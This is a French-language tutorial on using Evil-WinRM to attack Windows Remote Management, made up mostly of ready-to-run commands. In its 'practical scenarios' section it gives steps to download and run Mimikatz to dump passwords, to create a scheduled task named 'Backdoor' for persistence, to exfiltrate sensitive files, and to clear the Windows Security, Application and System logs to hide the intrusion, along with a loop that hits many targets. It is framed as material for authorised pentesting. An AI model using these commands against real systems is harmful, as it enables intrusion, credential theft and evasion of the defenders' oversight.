🔥 Evil-WinRM - Guide Complet et Fonctionnel

Evil-WinRM est un outil dédié aux pentesters et équipes Red Team pour exploiter Windows Remote Management (WinRM). Ce tutoriel couvre l’installation, l’exploitation, et des scénarios pratiques pour maximiser vos campagnes de post-exploitation. 🚀

1️⃣ Pré-requis

• Une machine d’attaque sous Linux (Kali, Parrot OS, ou équivalente).
• Ruby installé sur la machine d’attaque.
• Accès à une cible Windows avec WinRM activé.
• Identifiants valides sur la cible (username et password ou hash).
• Permissions pour effectuer des tests autorisés.

2️⃣ Installation d'Evil-WinRM

Étape 1 : Télécharger Evil-WinRM

Clonez le dépôt GitHub officiel :

git clone https://github.com/Hackplayers/evil-winrm.git

Accédez au répertoire :

cd evil-winrm

Étape 2 : Installer les Dépendances

Installez Ruby et les bibliothèques nécessaires :

sudo apt update
sudo apt install ruby -y
gem install bundler
bundle install
            

Étape 3 : Vérifier l’Installation

Testez l’outil pour confirmer qu’il fonctionne :

ruby evil-winrm.rb --help

Vous devriez voir une liste des options disponibles.

3️⃣ Configuration et Préparation

Vérification des Ports WinRM

Par défaut, WinRM utilise les ports suivants :

• 5985 : Connexions HTTP non sécurisées.
• 5986 : Connexions HTTPS sécurisées.

Vérifiez si ces ports sont ouverts sur la cible :

nmap -p 5985,5986 

WinRM Activé sur la Cible

Confirmez que WinRM est activé avec les commandes suivantes sur la cible (si vous y avez accès) :

winrm quickconfig
Get-Service -Name WinRM
            

Le service doit être en état "Running".

4️⃣ Utilisation d'Evil-WinRM

Connexion Basique

Utilisez Evil-WinRM pour vous connecter à une cible avec des identifiants valides :

ruby evil-winrm.rb -i  -u  -p 
            

Connexion avec Hash

Si vous disposez d’un NTLM hash, utilisez l’option suivante :

ruby evil-winrm.rb -i  -u  -H 
            

Options Supplémentaires

Evil-WinRM propose plusieurs options pour personnaliser la connexion :

• -S : Forcer une connexion HTTPS.
• -P : Spécifier un port personnalisé.
• -e : Charger un script ou un fichier sur la cible.

5️⃣ Commandes Post-Exploitation

Exécuter des Commandes

Depuis une session Evil-WinRM, vous pouvez exécuter des commandes PowerShell :

whoami
Get-Process
Get-NetIPAddress
            

Transfert de Fichiers

Chargez ou téléchargez des fichiers entre votre machine et la cible :

• upload /path/to/file C:\Destination : Envoyer un fichier.
• download C:\Source\file /path/to/save : Télécharger un fichier.

Exécution de Scripts

Chargez et exécutez un script PowerShell local sur la cible :

ruby evil-winrm.rb -i  -u  -p  -e script.ps1
            

6️⃣ Scénarios Pratiques

Scénario 1 : Enumeration Basique

Listez les utilisateurs et groupes locaux sur la cible :

Get-LocalUser
Get-LocalGroupMember -Group Administrators
            

Scénario 2 : Dump de Mots de Passe

Utilisez Mimikatz pour extraire les mots de passe en mémoire :

Invoke-WebRequest -Uri  -OutFile C:\temp\mimikatz.exe
C:\temp\mimikatz.exe
            

Scénario 3 : Persistance

Ajoutez une tâche planifiée pour exécuter un script malveillant :

schtasks /create /sc daily /tn "Backdoor" /tr "C:\backdoor.ps1" /st 09:00
            

Scénario 4 : Exfiltration des Données

Transférez des fichiers sensibles vers une machine d’attaque :

download C:\sensitive_data\*.txt /path/to/local/machine
            

Scénario 5 : Suppression des Logs

Effacez les traces de votre intrusion :

wevtutil cl Security
wevtutil cl Application
wevtutil cl System
            

7️⃣ Intégration et Automatisation

Automatisation des Tâches

Utilisez des scripts Bash pour exécuter Evil-WinRM avec plusieurs cibles :

#!/bin/bash
for ip in $(cat targets.txt); do
  ruby evil-winrm.rb -i $ip -u admin -p password
done
            

8️⃣ Conseils et Bonnes Pratiques

• Utilisez uniquement dans des environnements autorisés.
• Documentez toutes les actions pour respecter l’éthique.
• Surveillez les journaux Windows (Event Viewer) pour éviter la détection.
• Évitez d’utiliser des commandes invasives lorsque ce n’est pas nécessaire.
• Formez-vous régulièrement sur les nouvelles méthodes de post-exploitation.